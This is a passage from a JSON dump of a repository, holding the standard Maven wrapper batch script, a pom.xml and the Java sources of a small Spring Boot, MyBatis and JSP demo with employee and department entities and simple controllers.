    "content": "@REM ----------------------------------------------------------------------------\n@REM Licensed to the Apache Software Foundation (ASF) under one\n@REM or more contributor license agreements.  See the NOTICE file\n@REM distributed with this work for additional information\n@REM regarding copyright ownership.  The ASF licenses this file\n@REM to you under the Apache License, Version 2.0 (the\n@REM \"License\"); you may not use this file except in compliance\n@REM with the License.  You may obtain a copy of the License at\n@REM\n@REM    http://www.apache.org/licenses/LICENSE-2.0\n@REM\n@REM Unless required by applicable law or agreed to in writing,\n@REM software distributed under the License is distributed on an\n@REM \"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\n@REM KIND, either express or implied.  See the License for the\n@REM specific language governing permissions and limitations\n@REM under the License.\n@REM ----------------------------------------------------------------------------\n\n@REM ----------------------------------------------------------------------------\n@REM Maven2 Start Up Batch script\n@REM\n@REM Required ENV vars:\n@REM JAVA_HOME - location of a JDK home dir\n@REM\n@REM Optional ENV vars\n@REM M2_HOME - location of maven2's installed home dir\n@REM MAVEN_BATCH_ECHO - set to 'on' to enable the echoing of the batch commands\n@REM MAVEN_BATCH_PAUSE - set to 'on' to wait for a key stroke before ending\n@REM MAVEN_OPTS - parameters passed to the Java VM when running Maven\n@REM     e.g. to debug Maven itself, use\n@REM set MAVEN_OPTS=-Xdebug -Xrunjdwp:transport=dt_socket,server=y,suspend=y,address=8000\n@REM MAVEN_SKIP_RC - flag to disable loading of mavenrc files\n@REM ----------------------------------------------------------------------------\n\n@REM Begin all REM lines with '@' in case MAVEN_BATCH_ECHO is 'on'\n@echo off\n@REM enable echoing my setting MAVEN_BATCH_ECHO to 'on'\n@if \"%MAVEN_BATCH_ECHO%\" == \"on\"  echo %MAVEN_BATCH_ECHO%\n\n@REM set %HOME% to equivalent of $HOME\nif \"%HOME%\" == \"\" (set \"HOME=%HOMEDRIVE%%HOMEPATH%\")\n\n@REM Execute a user defined script before this one\nif not \"%MAVEN_SKIP_RC%\" == \"\" goto skipRcPre\n@REM check for pre script, once with legacy .bat ending and once with .cmd ending\nif exist \"%HOME%\\mavenrc_pre.bat\" call \"%HOME%\\mavenrc_pre.bat\"\nif exist \"%HOME%\\mavenrc_pre.cmd\" call \"%HOME%\\mavenrc_pre.cmd\"\n:skipRcPre\n\n@setlocal\n\nset ERROR_CODE=0\n\n@REM To isolate internal variables from possible post scripts, we use another setlocal\n@setlocal\n\n@REM ==== START VALIDATION ====\nif not \"%JAVA_HOME%\" == \"\" goto OkJHome\n\necho.\necho Error: JAVA_HOME not found in your environment. >&2\necho Please set the JAVA_HOME variable in your environment to match the >&2\necho location of your Java installation. >&2\necho.\ngoto error\n\n:OkJHome\nif exist \"%JAVA_HOME%\\bin\\java.exe\" goto init\n\necho.\necho Error: JAVA_HOME is set to an invalid directory. >&2\necho JAVA_HOME = \"%JAVA_HOME%\" >&2\necho Please set the JAVA_HOME variable in your environment to match the >&2\necho location of your Java installation. >&2\necho.\ngoto error\n\n@REM ==== END VALIDATION ====\n\n:init\n\n@REM Find the project base dir, i.e. the directory that contains the folder \".mvn\".\n@REM Fallback to current working directory if not found.\n\nset MAVEN_PROJECTBASEDIR=%MAVEN_BASEDIR%\nIF NOT \"%MAVEN_PROJECTBASEDIR%\"==\"\" goto endDetectBaseDir\n\nset EXEC_DIR=%CD%\nset WDIR=%EXEC_DIR%\n:findBaseDir\nIF EXIST \"%WDIR%\"\\.mvn goto baseDirFound\ncd ..\nIF \"%WDIR%\"==\"%CD%\" goto baseDirNotFound\nset WDIR=%CD%\ngoto findBaseDir\n\n:baseDirFound\nset MAVEN_PROJECTBASEDIR=%WDIR%\ncd \"%EXEC_DIR%\"\ngoto endDetectBaseDir\n\n:baseDirNotFound\nset MAVEN_PROJECTBASEDIR=%EXEC_DIR%\ncd \"%EXEC_DIR%\"\n\n:endDetectBaseDir\n\nIF NOT EXIST \"%MAVEN_PROJECTBASEDIR%\\.mvn\\jvm.config\" goto endReadAdditionalConfig\n\n@setlocal EnableExtensions EnableDelayedExpansion\nfor /F \"usebackq delims=\" %%a in (\"%MAVEN_PROJECTBASEDIR%\\.mvn\\jvm.config\") do set JVM_CONFIG_MAVEN_PROPS=!JVM_CONFIG_MAVEN_PROPS! %%a\n@endlocal & set JVM_CONFIG_MAVEN_PROPS=%JVM_CONFIG_MAVEN_PROPS%\n\n:endReadAdditionalConfig\n\nSET MAVEN_JAVA_EXE=\"%JAVA_HOME%\\bin\\java.exe\"\n\nset WRAPPER_JAR=\"%MAVEN_PROJECTBASEDIR%\\.mvn\\wrapper\\maven-wrapper.jar\"\nset WRAPPER_LAUNCHER=org.apache.maven.wrapper.MavenWrapperMain\n\n%MAVEN_JAVA_EXE% %JVM_CONFIG_MAVEN_PROPS% %MAVEN_OPTS% %MAVEN_DEBUG_OPTS% -classpath %WRAPPER_JAR% \"-Dmaven.multiModuleProjectDirectory=%MAVEN_PROJECTBASEDIR%\" %WRAPPER_LAUNCHER% %MAVEN_CONFIG% %*\nif ERRORLEVEL 1 goto error\ngoto end\n\n:error\nset ERROR_CODE=1\n\n:end\n@endlocal & set ERROR_CODE=%ERROR_CODE%\n\nif not \"%MAVEN_SKIP_RC%\" == \"\" goto skipRcPost\n@REM check for post script, once with legacy .bat ending and once with .cmd ending\nif exist \"%HOME%\\mavenrc_post.bat\" call \"%HOME%\\mavenrc_post.bat\"\nif exist \"%HOME%\\mavenrc_post.cmd\" call \"%HOME%\\mavenrc_post.cmd\"\n:skipRcPost\n\n@REM pause the script if MAVEN_BATCH_PAUSE is set to 'on'\nif \"%MAVEN_BATCH_PAUSE%\" == \"on\" pause\n\nif \"%MAVEN_TERMINATE_CMD%\" == \"on\" exit %ERROR_CODE%\n\nexit /B %ERROR_CODE%\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_mybatis_jsp/pom.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n\txsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n\t<modelVersion>4.0.0</modelVersion>\n\n\t<groupId>io.github.wujun728</groupId>\n\t<artifactId>springboot_mybatis_jsp</artifactId>\n\t<version>1.0</version>\n\t<packaging>jar</packaging> \n\n\t<name>${project.artifactId}</name>\n\t<description>SpringBoot+Mybatis+JSP</description>\n\n\t<parent>\n\t\t<groupId>org.springframework.boot</groupId>\n\t\t<artifactId>spring-boot-starter-parent</artifactId>\n\t\t<version>1.5.8.RELEASE</version>\n\t\t<relativePath/> <!-- lookup parent from repository -->\n\t</parent>\n\n\t<properties>\n\t\t<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>\n\t\t<project.reporting.outputEncoding>UTF-8</project.reporting.outputEncoding>\n\t\t<java.version>1.8</java.version>\n\t</properties>\n\n\t<dependencies>\n\t\t<!--SpringBoot的测试依赖-->\n\t\t<dependency>\n\t\t\t<groupId>org.springframework.boot</groupId>\n\t\t\t<artifactId>spring-boot-starter-test</artifactId>\n\t\t\t<scope>test</scope>\n\t\t</dependency>\n\t\t<!--SpringBoot的Web依赖-->\n\t\t<dependency>\n\t\t\t<groupId>org.springframework.boot</groupId>\n\t\t\t<artifactId>spring-boot-starter-web</artifactId>\n\t\t</dependency>\n\t\t<!--数据源依赖-->\n\t\t<dependency>\n\t\t\t<groupId>com.oracle</groupId>\n\t\t\t<artifactId>ojdbc6</artifactId>\n\t\t\t<version>11.2.0.3</version>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>com.alibaba</groupId>\n\t\t\t<artifactId>druid</artifactId>\n\t\t\t<version>1.1.3</version>\n\t\t</dependency>\n\t\t<!--SpringBoot的Mybatis依赖-->\n\t\t<dependency>\n\t\t\t<groupId>org.mybatis.spring.boot</groupId>\n\t\t\t<artifactId>mybatis-spring-boot-starter</artifactId>\n\t\t\t<version>1.3.1</version>\n\t\t</dependency>\n\n\n\t\t<!-- Tomcat容器依赖 -->\n\t\t<dependency>\n\t\t\t<groupId>org.springframework.boot</groupId>\n\t\t\t<artifactId>spring-boot-starter-tomcat</artifactId>\n\t\t\t<!--<scope>provided</scope> -->\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>org.apache.tomcat.embed</groupId>\n\t\t\t<artifactId>tomcat-embed-jasper</artifactId>\n\t\t\t<!--<scope>provided</scope>-->\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>javax.servlet</groupId>\n\t\t\t<artifactId>jstl</artifactId>\n\t\t</dependency>\n\t\t<!--devtools热部署插件-->\n\t\t<dependency>\n\t\t\t<groupId>org.springframework.boot</groupId>\n\t\t\t<artifactId>spring-boot-devtools</artifactId>\n\t\t\t<optional>true</optional> <!-- 这个需要为 true 热部署才有效 -->\n\t\t</dependency>\n\t</dependencies>\n\n\t<build>\n\t\t<plugins>\n\t\t\t<plugin>\n\t\t\t\t<groupId>org.springframework.boot</groupId>\n\t\t\t\t<artifactId>spring-boot-maven-plugin</artifactId>\n\t\t\t</plugin>\n\t\t\t<!--springloaded热部署插件，参考：http://blog.csdn.net/qq_32198277/article/details/53913154-->\n<!--\n\t\t\t<plugin>\n\t\t\t\t<groupId>org.springframework.boot</groupId>\n\t\t\t\t<artifactId>spring-boot-maven-plugin </artifactId>\n\t\t\t\t<dependencies>\n\t\t\t\t\t<dependency>\n\t\t\t\t\t\t<groupId>org.springframework</groupId>\n\t\t\t\t\t\t<artifactId>springloaded</artifactId>\n\t\t\t\t\t\t<version>1.2.4.RELEASE</version>\n\t\t\t\t\t</dependency>\n\t\t\t\t</dependencies>\n\t\t\t\t<executions>\n\t\t\t\t\t<execution>\n\t\t\t\t\t\t&lt;!&ndash;绑定到spring-boot生命周期中&ndash;&gt;\n\t\t\t\t\t\t<goals>\n\t\t\t\t\t\t\t<goal>repackage</goal>\n\t\t\t\t\t\t</goals>\n\t\t\t\t\t\t<configuration>\n\t\t\t\t\t\t\t<classifier>exec</classifier>\n\t\t\t\t\t\t</configuration>\n\t\t\t\t\t</execution>\n\t\t\t\t</executions>\n\t\t\t</plugin>\n-->\n\t\t</plugins>\n\t</build>\n\n\n</project>\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_mybatis_jsp/src/main/java/com/jun/plugin/mybatis/RunApplication.java",
    "content": "package com.jun.plugin.mybatis;\nimport org.mybatis.spring.annotation.MapperScan;\nimport org.springframework.boot.SpringApplication;\nimport org.springframework.boot.autoconfigure.SpringBootApplication;\nimport org.springframework.boot.builder.SpringApplicationBuilder;\nimport org.springframework.boot.web.support.SpringBootServletInitializer;\n\n@SpringBootApplication(scanBasePackages = \"com.jun.plugin.mybatis\")\n@MapperScan(value = \"com.jun.plugin.mybatis.mapper\")\npublic class RunApplication extends SpringBootServletInitializer {\n\n\t@Override\n\tprotected SpringApplicationBuilder configure(SpringApplicationBuilder application) {\n\t\treturn application.sources(RunApplication.class);\n\t}\n\n\tpublic static void main(String[] args) {\n\t\tSpringApplication.run(RunApplication.class, args);\n\t}\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_mybatis_jsp/src/main/java/com/jun/plugin/mybatis/beans/Apple.java",
    "content": "package com.jun.plugin.mybatis.beans;\n\nimport java.math.BigDecimal;\n\n/**\n * Create Date: 2017/11/05\n * Description: 苹果类\n *\n * @author Wujun\n */\npublic class Apple extends Fruit {\n    private String name;\n    private BigDecimal price;\n\n    public String getName() {\n        return name;\n    }\n\n    public void setName(String name) {\n        this.name = name;\n    }\n\n    public BigDecimal getPrice() {\n        return price;\n    }\n\n    public void setPrice(BigDecimal price) {\n        this.price = price;\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_mybatis_jsp/src/main/java/com/jun/plugin/mybatis/beans/Banana.java",
    "content": "package com.jun.plugin.mybatis.beans;\n\nimport java.math.BigDecimal;\n\n/**\n * Create Date: 2017/11/05\n * Description: 香蕉类\n *\n * @author Wujun\n */\npublic class Banana extends Fruit{\n    private String name;\n    private BigDecimal price;\n\n    public String getName() {\n        return name;\n    }\n\n    public void setName(String name) {\n        this.name = name;\n    }\n\n    public BigDecimal getPrice() {\n        return price;\n    }\n\n    public void setPrice(BigDecimal price) {\n        this.price = price;\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_mybatis_jsp/src/main/java/com/jun/plugin/mybatis/beans/CustomBeanConfiguration.java",
    "content": "package com.jun.plugin.mybatis.beans;\n\nimport org.springframework.context.annotation.Bean;\nimport org.springframework.context.annotation.Configuration;\n\nimport java.math.BigDecimal;\n\n/**\n * Create Date: 2017/11/05\n * Description: Bean工厂\n *\n * @author Wujun\n */\n@Configuration\npublic class CustomBeanConfiguration {\n\n    @Bean\n    public Apple newInstanceApple(){\n        Apple apple = new Apple();\n        apple.setName(\"红富士-苹果\");\n        apple.setPrice(new BigDecimal(9.87));\n        return apple;\n    }\n\n    @Bean\n    public Banana newInstanceBanana(){\n        Banana banana = new Banana();\n        banana.setName(\"广东-大香蕉\");\n        banana.setPrice(new BigDecimal(9.87));\n        return banana;\n    }\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_mybatis_jsp/src/main/java/com/jun/plugin/mybatis/beans/Fruit.java",
    "content": "package com.jun.plugin.mybatis.beans;\n\n/**\n * Create Date: 2017/11/05\n * Description: 水果超类\n *\n * @author Wujun\n */\npublic class Fruit {\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_mybatis_jsp/src/main/java/com/jun/plugin/mybatis/configuration/MvcEncodeConfiguration.java",
    "content": "package com.jun.plugin.mybatis.configuration;\n\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.context.annotation.Bean;\nimport org.springframework.context.annotation.Configuration;\nimport org.springframework.http.converter.HttpMessageConverter;\nimport org.springframework.http.converter.StringHttpMessageConverter;\nimport org.springframework.web.servlet.config.annotation.ContentNegotiationConfigurer;\nimport org.springframework.web.servlet.config.annotation.WebMvcConfigurerAdapter;\n\nimport java.nio.charset.Charset;\nimport java.util.List;\n\n/**\n * Create Date: 2017/11/05\n * Description: 解决SpringBoot配置文件*.properties中文乱码问题\n * 更多内容参考：http://blog.csdn.net/wangshuang1631/article/details/70753801\n *\n * @author Wujun\n */\n@Configuration\npublic class MvcEncodeConfiguration extends WebMvcConfigurerAdapter {\n\n    @Autowired\n    private StringHttpMessageConverter converter;\n\n    @Bean\n    public HttpMessageConverter<String> responseBodyConverter() {\n        StringHttpMessageConverter converter = new StringHttpMessageConverter(Charset.forName(\"UTF-8\"));\n        return converter;\n    }\n\n    @Override\n    public void configureContentNegotiation(ContentNegotiationConfigurer configurer) {\n        configurer.favorPathExtension(false);\n    }\n\n    @Override\n    public void configureMessageConverters(List<HttpMessageConverter<?>> converters) {\n        super.configureMessageConverters(converters);\n        converters.add(converter);//保证引用的为同一个实例\n//        converters.add(responseBodyConverter());\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_mybatis_jsp/src/main/java/com/jun/plugin/mybatis/controller/EmployControl.java",
    "content": "package com.jun.plugin.mybatis.controller;\n\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.stereotype.Controller;\nimport org.springframework.web.bind.annotation.*;\n\nimport com.jun.plugin.mybatis.model.business.Employ;\nimport com.jun.plugin.mybatis.response.DataResponse;\nimport com.jun.plugin.mybatis.service.business.EmployService;\n\nimport java.math.BigDecimal;\n\n/**\n * Create Date: 2017/11/06\n * Description: 员工管理控制器\n *\n * @author Wujun\n */\n@Controller\n@RequestMapping(\"employ\")\npublic class EmployControl {\n\n    @Autowired\n    private EmployService employService;\n\n    @GetMapping(\"query\")\n    @ResponseBody\n    public DataResponse<Employ> queryEmploy(\n            @RequestParam(value = \"empno\",required = true) String empno\n    ) {\n        Employ employ = employService.queryEmploy(empno);\n        //FIXME 此处有可能会抛出空指针\n        String ename = employ.getEname();\n        System.out.println(\"当前 emp name is==>\"+ename);\n        DataResponse<Employ> dataResponse = new DataResponse<Employ>(employ);\n        return dataResponse;\n    }\n\n    @GetMapping(\"welcome\")\n    String toWelcomePage(){\n        System.out.println(\"热部署:Hot Spring Boot777\");\n        return \"welcome\";\n    }\n\n    @GetMapping(\"welcome2\")\n    String toWelcomePage2(){\n        System.out.println(\"热部署:Hot Spring Boot888\");\n        return \"welcome\";\n    }\n\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_mybatis_jsp/src/main/java/com/jun/plugin/mybatis/controller/HelloSpringBootController.java",
    "content": "package com.jun.plugin.mybatis.controller;\n\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.beans.factory.annotation.Value;\nimport org.springframework.web.bind.annotation.GetMapping;\nimport org.springframework.web.bind.annotation.PathVariable;\nimport org.springframework.web.bind.annotation.PostMapping;\nimport org.springframework.web.bind.annotation.RestController;\n\nimport com.jun.plugin.mybatis.beans.Apple;\nimport com.jun.plugin.mybatis.beans.Banana;\nimport com.jun.plugin.mybatis.beans.Fruit;\nimport com.jun.plugin.mybatis.properties.AuthorProperties;\n\n/**\n * Hello World Spring Boot\n *\n * @author Wujun\n * @create 2017/07/10\n **/\n@RestController\npublic class HelloSpringBootController {\n\n    @Value(\"${springboot.authorName:KiWiPeach}\")\n    private String authorName;\n\n    @Autowired\n    private AuthorProperties authorProperties;\n\n    @Autowired\n    private Apple apple;\n\n    @Autowired\n    private Banana banana;\n\n\n    @GetMapping(\"hello\")\n    public String sayHello(){\n        return \"hello world Spring Boot,I coming!\";\n    }\n\n    @GetMapping(value = \"author\")\n    public String getAuthorName(){\n        return \"welcome \"+authorName;\n    }\n\n    @GetMapping(value = \"author/properties\")\n    public AuthorProperties getAuthorJSON(){\n        System.out.println(\"获取AuthorProperties:\");\n        return authorProperties;\n    }\n\n\n    @PostMapping(value = \"fruit/{type}\")\n    public Fruit getFruit(@PathVariable(value = \"type\")String type){\n        if(\"apple\".equals(type)){\n            return apple;\n        }else if(\"banana\".equals(type)){\n            return banana;\n        }else {\n            return null;\n        }\n    }\n\n\n\n\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_mybatis_jsp/src/main/java/com/jun/plugin/mybatis/controller/HotBootControl.java",
    "content": "package com.jun.plugin.mybatis.controller;\n\nimport org.springframework.stereotype.Controller;\nimport org.springframework.web.bind.annotation.GetMapping;\n\n/**\n * Create Date: 2017/11/06\n * Description: 测试SpringBoot热部署控制器\n *\n * @author Wujun\n */\n@Controller\npublic class HotBootControl {\n\n    @GetMapping(\"/welcome4\")\n    public String toWelcomePage3(){\n        System.out.println(\"number is seven\");\n        return \"welcome\";\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_mybatis_jsp/src/main/java/com/jun/plugin/mybatis/controller/PageController.java",
    "content": "package com.jun.plugin.mybatis.controller;\n\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.stereotype.Controller;\nimport org.springframework.ui.Model;\nimport org.springframework.web.bind.annotation.RequestMapping;\nimport org.springframework.web.bind.annotation.RequestMethod;\nimport org.springframework.web.bind.annotation.RequestParam;\n\nimport com.jun.plugin.mybatis.beans.Apple;\n\n/**\n * Create Date: 2017/11/05\n * Description: 页面跳转控制器\n *\n * @author Wujun\n */\n@Controller\npublic class PageController {\n\n    @Autowired\n    private Apple apple;\n\n\n    @RequestMapping(value = \"toHelloPage\",method = {RequestMethod.GET})\n    public String toHelloPage(\n            @RequestParam(value = \"name\",defaultValue = \"苹果-默认\",required = false)String name,\n            Model model\n    ){\n        if (apple!=null){\n            apple.setName(name);\n        }\n        model.addAttribute(\"apple\",apple);\n        return \"spring-boot\";\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_mybatis_jsp/src/main/java/com/jun/plugin/mybatis/controller/WelcomeController.java",
    "content": "/*\n * Copyright 2012-2016 the original author or authors.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.jun.plugin.mybatis.controller;\n\nimport org.springframework.beans.factory.annotation.Value;\nimport org.springframework.http.HttpStatus;\nimport org.springframework.stereotype.Controller;\nimport org.springframework.web.bind.annotation.*;\n\nimport java.util.Date;\nimport java.util.Map;\n\n@Controller\npublic class WelcomeController {\n\n\t@Value(\"${application.message:Hello World}\")\n\tprivate String message = \"Hello World\";\n\n\t@GetMapping(\"/\")\n\tpublic String welcome(Map<String, Object> model) {\n\t\tmodel.put(\"time\", new Date());\n\t\tmodel.put(\"message\", this.message);\n\t\treturn \"welcome\";\n\t}\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_mybatis_jsp/src/main/java/com/jun/plugin/mybatis/enums/ResponseCodeEnum.java",
    "content": "package com.jun.plugin.mybatis.enums;\n\nimport org.springframework.util.StringUtils;\n\n/**\n * Create Date: 2017/11/06\n * Description: 返回统一枚举类型\n *\n * @author Wujun\n */\npublic enum ResponseCodeEnum {\n    SUCCESS(\"10000\",\"请求成功,系统异常\"),\n    FAIL(\"-10000\",\"请求失败\"),\n    EMPNO_NOT_FOUND(\"-10001\",\"员工编号不存在\"),\n    EMP_NUMBER_FORMAT(\"-10002\",\"员工编号转换异常\"),\n    EMP_NULL_POINTER(\"-10003\",\"员工信息空指针异常\")\n    ;\n    private String code;\n    private String message;\n\n    ResponseCodeEnum(String code, String message) {\n        this.code = code;\n        this.message = message;\n    }\n\n    public String getCode() {\n        return code;\n    }\n\n    public String getMessage() {\n        return message;\n    }\n\n    /**\n     * 由状态码获取枚举信息\n     * @param code 状态码\n     * @return 枚举信息\n     */\n    public static ResponseCodeEnum stateOf(String code) {\n        if (StringUtils.isEmpty(code)){\n            throw new IllegalArgumentException(\"responseCodeEnum method stateOf's args can not be empty\");\n        }\n        for (ResponseCodeEnum rce : values()) {\n            if (rce.getCode().equals(code)) {\n                return rce;\n            }\n        }\n        return null;\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_mybatis_jsp/src/main/java/com/jun/plugin/mybatis/exeception/BaseException.java",
    "content": "package com.jun.plugin.mybatis.exeception;\n\n/**\n * Create Date: 2017/11/06\n * Description: 自定义基础异常\n *\n * @author Wujun\n */\npublic class BaseException extends RuntimeException {\n    /**\n     * 错误码\n     */\n    private String code;\n\n    /**\n     * 错误消息\n     */\n    private String defaultMessage;\n\n    public BaseException(String defaultMessage) {\n        this.defaultMessage = defaultMessage;\n    }\n\n    public BaseException(String code, String defaultMessage) {\n        this.code = code;\n        this.defaultMessage = defaultMessage;\n    }\n\n    public String getCode() {\n        return code;\n    }\n\n    public void setCode(String code) {\n        this.code = code;\n    }\n\n    public String getDefaultMessage() {\n        return defaultMessage;\n    }\n\n    public void setDefaultMessage(String defaultMessage) {\n        this.defaultMessage = defaultMessage;\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_mybatis_jsp/src/main/java/com/jun/plugin/mybatis/exeception/BusinessException.java",
    "content": "package com.jun.plugin.mybatis.exeception;\n\nimport com.jun.plugin.mybatis.enums.ResponseCodeEnum;\n\n/**\n * Create Date: 2017/11/06\n * Description: 业务异常\n *\n * @author Wujun\n */\npublic class BusinessException extends BaseException{\n\n\n    public BusinessException(String defaultMessage) {\n        super(defaultMessage);\n    }\n\n    public BusinessException(ResponseCodeEnum codeEnum) {\n        super(codeEnum.getCode(), codeEnum.getMessage());\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_mybatis_jsp/src/main/java/com/jun/plugin/mybatis/exeception/modal/ResponseExceptionEntity.java",
    "content": "package com.jun.plugin.mybatis.exeception.modal;\n\n/**\n * Create Date: 2017/11/06\n * Description: 同意一场返回信息\n *\n * @author Wujun\n */\npublic class ResponseExceptionEntity {\n    private String url;\n    private String message;\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_mybatis_jsp/src/main/java/com/jun/plugin/mybatis/handler/GlobalExceptionHandler.java",
    "content": "package com.jun.plugin.mybatis.handler;\n\nimport org.springframework.web.bind.annotation.ControllerAdvice;\nimport org.springframework.web.bind.annotation.ExceptionHandler;\nimport org.springframework.web.bind.annotation.ResponseBody;\nimport org.springframework.web.servlet.ModelAndView;\n\nimport com.jun.plugin.mybatis.enums.ResponseCodeEnum;\nimport com.jun.plugin.mybatis.exeception.BusinessException;\nimport com.jun.plugin.mybatis.response.DataResponse;\n\nimport javax.servlet.http.HttpServletRequest;\n\n/**\n * Create Date: 2017/11/05\n * Description: 全局异常处理类\n *\n * @author Wujun\n */\n@ControllerAdvice\n@ResponseBody\npublic class GlobalExceptionHandler {\n\n    public static final String DEFAULT_ERROR_VIEW = \"error\";\n    @ExceptionHandler(value = Exception.class)\n    public DataResponse defaultErrorHandler(HttpServletRequest req, Exception e) throws Exception {\n        ResponseCodeEnum codeEnum = ResponseCodeEnum.FAIL;\n        if (e instanceof BusinessException){// 若存在编码信息，则从枚举类中获取枚举异常信息\n            BusinessException ex = (BusinessException) e;\n            codeEnum = ResponseCodeEnum.stateOf(ex.getCode());\n        }\n        return new DataResponse(false,codeEnum);\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_mybatis_jsp/src/main/java/com/jun/plugin/mybatis/mapper/business/DepartmentMapper.java",
    "content": "package com.jun.plugin.mybatis.mapper.business;\n\n\n\nimport java.math.BigDecimal;\n\nimport com.jun.plugin.mybatis.model.business.Department;\n\n/**\n * Create Date: 2017/10/31\n * Description: 部门操作接口\n *\n * @author Wujun\n */\npublic interface DepartmentMapper {\n    int deleteByPrimaryKey(BigDecimal deptno);\n\n    int insert(Department record);\n\n    int insertSelective(Department record);\n\n    Department selectByPrimaryKey(BigDecimal deptno);\n\n    int updateByPrimaryKeySelective(Department record);\n\n    int updateByPrimaryKey(Department record);\n}"
  },
  {
    "path": "jun_springboot_plugin/springboot_mybatis_jsp/src/main/java/com/jun/plugin/mybatis/mapper/business/EmployMapper.java",
    "content": "package com.jun.plugin.mybatis.mapper.business;\n\n\n\nimport java.math.BigDecimal;\n\nimport com.jun.plugin.mybatis.model.business.Employ;\n\n/**\n * Create Date: 2017/10/31\n * Description: 员工操作接口\n *\n * @author Wujun\n */\npublic interface EmployMapper {\n    int deleteByPrimaryKey(BigDecimal empno);\n\n    int insert(Employ record);\n\n    int insertSelective(Employ record);\n\n    Employ selectByPrimaryKey(BigDecimal empno);\n\n    int updateByPrimaryKeySelective(Employ record);\n\n    int updateByPrimaryKey(Employ record);\n}"
  },
  {
    "path": "jun_springboot_plugin/springboot_mybatis_jsp/src/main/java/com/jun/plugin/mybatis/model/business/Department.java",
    "content": "package com.jun.plugin.mybatis.model.business;\n\nimport java.math.BigDecimal;\n\n/**\n * Create Date: 2017/10/31\n * Description: 部门实体类\n *\n * @author Wujun\n */\npublic class Department {\n    /**\n     * 部门编号\n     */\n    private BigDecimal deptno;\n    /**\n     * 部门名称\n     */\n    private String dname;\n    /**\n     * 部门地址\n     */\n    private String loc;\n\n    public BigDecimal getDeptno() {\n        return deptno;\n    }\n\n    public void setDeptno(BigDecimal deptno) {\n        this.deptno = deptno;\n    }\n\n    public String getDname() {\n        return dname;\n    }\n\n    public void setDname(String dname) {\n        this.dname = dname;\n    }\n\n    public String getLoc() {\n        return loc;\n    }\n\n    public void setLoc(String loc) {\n        this.loc = loc;\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_mybatis_jsp/src/main/java/com/jun/plugin/mybatis/model/business/Employ.java",
    "content": "package com.jun.plugin.mybatis.model.business;\n\nimport java.math.BigDecimal;\nimport java.util.Date;\n\n/**\n * Create Date: 2017/10/31\n * Description: 员工实体类\n *\n * @author Wujun\n */\npublic class Employ {\n    /**\n     * 员工编号\n     */\n    private BigDecimal empno;\n    /**\n     * 员工姓名\n     */\n    private String ename;\n    /**\n     * 员工工作\n     */\n    private String job;\n    /**\n     * 经理\n     */\n    private Integer mgr;\n    /**\n     * 雇佣日期\n     */\n    private Date hiredate;\n    /**\n     * 薪水\n     */\n    private double sal;\n    /**\n     * 奖金\n     */\n    private double comm;\n    /**\n     * 部门编号\n     */\n    private BigDecimal deptno;\n\n    public Employ() {\n    }\n\n    public BigDecimal getEmpno() {\n        return empno;\n    }\n\n    public void setEmpno(BigDecimal empno) {\n        this.empno = empno;\n    }\n\n    public String getEname() {\n        return ename;\n    }\n\n    public void setEname(String ename) {\n        this.ename = ename;\n    }\n\n    public String getJob() {\n        return job;\n    }\n\n    public void setJob(String job) {\n        this.job = job;\n    }\n\n    public Integer getMgr() {\n        return mgr;\n    }\n\n    public void setMgr(Integer mgr) {\n        this.mgr = mgr;\n    }\n\n    public Date getHiredate() {\n        return hiredate;\n    }\n\n    public void setHiredate(Date hiredate) {\n        this.hiredate = hiredate;\n    }\n\n    public double getSal() {\n        return sal;\n    }\n\n    public void setSal(double sal) {\n        this.sal = sal;\n    }\n\n    public double getComm() {\n        return comm;\n    }\n\n    public void setComm(double comm) {\n        this.comm = comm;\n    }\n\n    public BigDecimal getDeptno() {\n        return deptno;\n    }\n\n    public void setDeptno(BigDecimal deptno) {\n        this.deptno = deptno;\n    }\n\n}\n\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_mybatis_jsp/src/main/java/com/jun/plugin/mybatis/properties/AuthorProperties.java",
